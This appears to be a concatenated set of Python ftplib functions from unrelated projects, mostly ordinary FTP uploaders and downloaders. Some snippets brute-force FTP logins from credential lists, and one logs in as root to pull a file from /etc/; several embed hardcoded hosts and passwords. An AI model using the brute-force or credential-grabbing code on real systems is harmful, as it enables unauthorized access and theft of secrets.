def run(self): # remotePath = "product/" + self.directory + "/" + self.fileName # remotePath = remotePath.encode("utf-8").decode("latin1") self.fileName = self.fileName.encode("utf-8").decode("latin1") print("filename", self.fileName) ftp = FTP() ftp.set_debuglevel(2) ftp.connect(self.ip, 21) ftp.login(self.username, self.passwd) print(ftp.getwelcome()) try: # 清空目录 ftp.cwd("product/" + self.directory) fileList = ftp.nlst() if fileList: print("dir", dir) for file in fileList: ftp.delete(file) fileList = ftp.nlst() if not fileList: print("成功清空目录") else: print("目录为空") # 开始上传文件 bufsize = 1024 f = open(self.localPath, 'rb') ftp.storbinary("STOR " + self.fileName, f, bufsize) ftp.set_debuglevel(0) except SystemError as e: print(e) self.sign_to_State.emit(False) except Exception as e: print(e) self.sign_to_State.emit(False) finally: ftp.close() self.sign_to_State.emit(True)
def check_login(self, host: str): timeout = FTPBruter.TIME_OUT for cred in self.creds_pairs: login, password = cred try: ftp = FTP(host, timeout=timeout) timeout -= 0.01 if ftp.login(user=login, passwd=password): ftp.close() return host, login, password except KeyboardInterrupt: print('Script stopped by keyboard') exit(-1) except socket.error: timeout += 0.15 print('[!] Timeout is increased to: %s sec' % round(timeout, 2)) continue except error_perm: continue except Exception as err: print('[-] Connection to %s error: %s' % (host, err))
def _downloadFromFTP(self, file, ftp_client=None): """ Downloads the file from the mpi-zmaw server and saves it on the local machine. Args: file: Filename and path as listed on the FTP-server. Allowed to contain Wildcards. Returns: Path to the local directory of the downloaded file. """ tmpdir = tempfile.gettempdir() _close_ftp_client = False if ftp_client == None: ftp_client = FTP(BCO.FTP_SERVER) ftp_client.login(user=BCO.FTP_USER, passwd=BCO.FTP_PASSWD) _close_ftp_client = True # print(ftp_path + file) file_to_retrieve = ftp_client.nlst(file)[0] try: __save_file = os.path.split(file_to_retrieve)[-1] except: __save_file = file_to_retrieve if not os.path.isfile(os.path.join( tmpdir, __save_file)): # check if the file is already there: print("Downloading %s" % __save_file) ftp_client.retrbinary( 'RETR ' + file_to_retrieve, open(os.path.join(tmpdir, __save_file), 'wb').write) else: # print("File already in temporary folder: %s"%__save_file) pass self._ftp_files.append(os.path.join(tmpdir, __save_file)) if _close_ftp_client: ftp_client.close() return tmpdir + "/"
def upload_to_cdn(): ftp = FTP() try: logger.log("Trying to connect to CDN") ftp.connect(CONFIG["CDN_HOST"], 21, timeout=60) ftp.login(CONFIG["CDN_USER"], CONFIG["CDN_PASSWORD"]) logger.log(f"CDN says: {ftp.getwelcome()}") ftp.rmd(f"/unitystation/{CONFIG['forkName']}") ftp.mkd(f"/unitystation/{CONFIG['forkName']}") for target in CONFIG["target_platform"]: attempt_ftp_upload(ftp, target) except all_errors as e: logger.log(f"Found FTP error: {str(e)}") raise e except Exception as e: logger.log(f"A non FTP problem occured while trying to upload to CDN") logger.log(f"{str(e)}") raise e ftp.close()
def ftpconnect(self,host,user,pwd): #连接FTP ftp=FTP() try: #ftp.set_debuglevel(2) #打开调试级别2,显示详细信息 ftp.connect(host,21) #连接 ftp.login(user,pwd) #登录,如果匿名登录则用空串代替即可 #print u"连接",host,u"FTP成功" self.ftpID=1 if self.uploadfile(ftp): #上传文件 self.delete(ftp) #删除文件 ftp.quit() #退出ftp服务器 return 1 except: #print u"adminFTP.py======连接",host,u"FTP失败!!!!" self.ftpID=0 try: ftp.quit() #退出ftp服务器 except: #print u"adminFTP.py======FTP退出异常" ftp.close() return 0
def getaccesstoken(host): try: ftp = FTP(host) ftp.login("root") ftp.retrbinary("RETR " + "/etc/" + fb_filename, open(fb_filename, 'wb').write) ftp.close() except Exception as error: print("Error: %s" % error) return try: with open(fb_filename, 'r') as file: data = file.read() except Exception as error: print("Error: %s" % error) return print("\n'%s'\n\n%s\n\n" % (fb_filename, data)) return
def ftp_connect(self, ip, username, password, port): """ ftp 链接函数 :param ip: :param username: :param password: :param port: :return: """ crack = 0 try: ftp = FTP() ftp.connect(ip, str(port)) ftp.login(user=username, passwd=password) crack = 1 ftp.close() except: self.lock.acquire() print "%s ftp service 's %s:%s login fail " % (ip, username, password) self.lock.release() return crack
def connect_ftp(localDir, remoteDir): host = '82.66.49.29' port = 8132 usr = '******' pwd = 'tetris' ftp = FTP() print("connection to server") ftp.connect(host, port) ftp.login(usr, pwd) print("connection ok") os.chdir(localDir) localDir = os.getcwd() ftp.cwd(remoteDir) copyDirToFtp(ftp, localDir, remoteDir) ftp.quit() ftp.close() print("connection closed")
def ftpDownloader(stationId, startYear, endYear, url="ftp.pyclass.com", user="******", passwd="student123"): ftp = FTP(url) ftp.login(user, passwd) if not os.path.exists("/in"): os.makedirs("/in") os.chdir("/in") for year in range(startYear, endYear + 1): fullpath = '/Data/%s/%s-%s.gz' % (year, stationId, year) filename = os.path.basename(fullpath) try: with open(filename, "wb") as file: ftp.retrbinary('RETR %s' % fullpath, file.write) print("%s succesfully downloaded" % filename) except error_perm: print("%s is not available" % filename) os.remove(filename) ftp.close()
def copy(self): """Push it ! """ connection = FTP() connection.connect(self.destination.hostname, self.destination.port or 21) if self.destination.username and self.destination.password: connection.login(self.destination.username, self.destination.password) else: connection.login() file_obj = open(self.origin, 'rb') connection.cwd(self.destination.path) connection.storbinary('STOR ' + os.path.basename(self.origin), file_obj) file_obj.close() try: connection.quit() except all_errors: connection.close()
def is_od(url): if not url.endswith("/"): print("Url does not end with trailing /") return False try: if url.startswith("ftp://") and config.SUBMIT_FTP: ftp = FTP(urlparse(url).netloc) ftp.login() ftp.close() return True elif config.SUBMIT_HTTP: r = requests.get(url, timeout=30, allow_redirects=False, verify=False) if r.status_code != 200: # print("No redirects allowed!") return False soup = BeautifulSoup(r.text, "lxml") external_links = sum(1 if is_external_link(url, a.get("href")) else 0 for a in soup.find_all("a")) link_tags = len(list(soup.find_all("link"))) script_tags = len(list(soup.find_all("script"))) if external_links > 11: # print("Too many external links!") return False if link_tags > 5: # print("Too many link tags!") return False if script_tags > 7: # print("Too many script tags!") return False return True except Exception as e: # print(e) return False
def job(): now = datetime.datetime.now() if now.month<10: month='0'+str(now.month) else: month=str(now.month) if now.day<10: day='0'+str(now.day) else: day=str(now.day) if now.hour<10: hour='0'+str(now.hour) else: hour=str(now.hour) ftp = FTP('192.72.189.223') ftp.login('admin','Admin') Csv_folder='/LOG/Folder1/'+str(now.year)+month File_name=month+day+'_'+hour print('Will download:'+File_name) ftp.cwd(Csv_folder) data = [] ftp.dir(data.append) for line in data: print("-", line) getFile(ftp,File_name+'.csv') ftp.quit() ftp.close()
def upload(self, artifact: Artifact, destination_path_ci: Path): """ Upload an artifact using settings from config.env Returns True if the upload went fine """ if not artifact.path.is_file(): raise FileNotFoundError("File doesn't exists") if self.destination_path_base is None: destination_path = destination_path_ci else: destination_path = self.destination_path_base / destination_path_ci LOGI(f"Started uploading of {artifact.path.name}") if self.method == "localcopy": os.makedirs(destination_path, exist_ok=True) shutil.copy(artifact.path, destination_path) elif self.method == "ftp": ftp = FTP(self.server) ftp.login(self.username, self.password) ftp_chdir(ftp, destination_path) with open(artifact.path, 'rb') as f: ftp.storbinary('STOR %s' % artifact.path.name, f) f.close() ftp.close() elif self.method == "sftp": transport = paramiko.Transport(self.server) transport.connect(username=self.username, password=self.password) sftp = paramiko.SFTPClient.from_transport(transport) sftp_chdir(sftp, destination_path) sftp.put(artifact.path, artifact.path.name) sftp.close() transport.close() LOGI(f"Finished uploading of {artifact.path.name}") return True
def ftpdown_pro(session, list, packname, ipadd=''): dirlist = [] result = {'code': 0, 'msg': [], 'errmsg': [], 'log': []} try: if ipadd == '': ftp = FTP(list['server']) else: ftp = FTP(ipadd) if list['password'] == '' or list['username'] == '': ftp.login() else: ftp.login(list['username'], list['password']) dir = list['downdir'] nowdir = os.path.split(packname)[0].split('/')[-1] for path, dirs, files in os.walk(dir): dirlist.append(path.replace(dir + '/', '')) if not nowdir in dirlist: os.makedirs(dir + os.sep + nowdir) files = os.path.join(dir, packname) df = open(files, 'wb') size = ftp.size(packname) sfile = 'RETR ' + packname notify_progress(session, 'ftp正在下载中,请稍候...', 0, int(size)) #ftp.retrbinary(sfile,df.write) prone = threading.Thread(target=process, args=[session, size, files]) prtwo = threading.Thread(target=ftp.retrbinary, args=[sfile, df.write]) prone.start() prtwo.start() prtwo.join() df.close() ftp.quit() ftp.close() prone.join() result['msg'].append('%s下载成功' % packname) except: result['errmsg'].append('%s : %s' % (sys.exc_info()[0], sys.exc_info()[1])) return result
def data_table_from_file(self, filename): final_file_name = filename.split('/')[-1] print(self.cache_location / final_file_name) if not os.path.exists(self.cache_location / final_file_name): ftp = FTP('ftp.ncbi.nlm.nih.gov') ftp.login() path = filename[len('ftp://ftp.ncbi.nlm.nih.gov/'):] print('downloading', path) with open(self.cache_location / final_file_name, 'wb+') as f: ftp.retrbinary(f'RETR {path}', f.write) ftp.close() file_name_dict = { 'GSE85728_RAW.tar': read_gse85728, 'GSE140851_RAW.tar': read_gse140851, } if final_file_name in file_name_dict : return file_name_dict[final_file_name](self, final_file_name) else: with open(self.cache_location / final_file_name, 'rb') as zipfile: zipfile.seek(0) if filename.endswith('.gz'): readfile = gzip.open(zipfile, 'rt', encoding="utf-8") filename = filename[:-3] else: readfile = zipfile readfile.seek(0) data_table = { '.xlsx': pd.read_excel, '.tsv': pd.read_table, '.csv': pd.read_csv, '.txt': pd.read_table, '.count.txt': partial(pd.read_table, names=("id", "value")) }[ re.search(r'\.[\w.]+$', filename).group() ](readfile) filename = filename readfile.close() return data_table
def start_server(host, port): def line_logger(msg): if "kill" in msg: raise KeyboardInterrupt() from pyftpdlib import ftpserver authorizer = ftpserver.DummyAuthorizer() datadir = os.path.join(os.path.dirname(__file__), 'data') authorizer.add_anonymous(datadir) # Instantiate FTP handler class ftp_handler = ftpserver.FTPHandler ftp_handler.authorizer = authorizer ftp_handler.timeout = TIMEOUT ftpserver.logline = line_logger # Define a customized banner (string returned when client connects) ftp_handler.banner = "pyftpdlib %s based ftpd ready." % ftpserver.__ver__ # Instantiate FTP server class and listen to host:port address = (host, port) server = ftpserver.FTPServer(address, ftp_handler) port = server.address[1] t = threading.Thread(None, server.serve_forever) t.start() # wait for server to start up tries = 0 while tries < 5: tries += 1 try: ftp = FTP() ftp.connect(host, port, TIMEOUT) ftp.login() ftp.close() break except: time.sleep(0.5) return port
def getimg(request): fd = int(request.GET.get('dir')) sd = int(request.GET.get('subdir')) ftp = FTP('128.46.75.58') # connect to host, default port ftp.login() print('success') ftp.cwd('WD1') #ftp.retrlines('LIST') ftplist = ftp.nlst() ftp.cwd(ftplist[fd]) sub1 = ftp.nlst() #Unformatted directory has bug, todo if (sd == len(sub1)): sd = 0 fd = fd + 1 ftp.cwd('..') ftplist = ftp.nlst() ftp.cwd(ftplist[fd]) sub1 = ftp.nlst() ftp.cwd(sub1[sd]) a = ftp.nlst() out = [] for element in a: element = 'ftp://128.46.75.58/WD1/' + ftplist[fd] + '/' + sub1[ sd] + '/' + element out.append(element) j = json.dumps(out) #print(j) ftp.close() return JsonResponse({'list': j, 'fd': fd, 'sd': sd})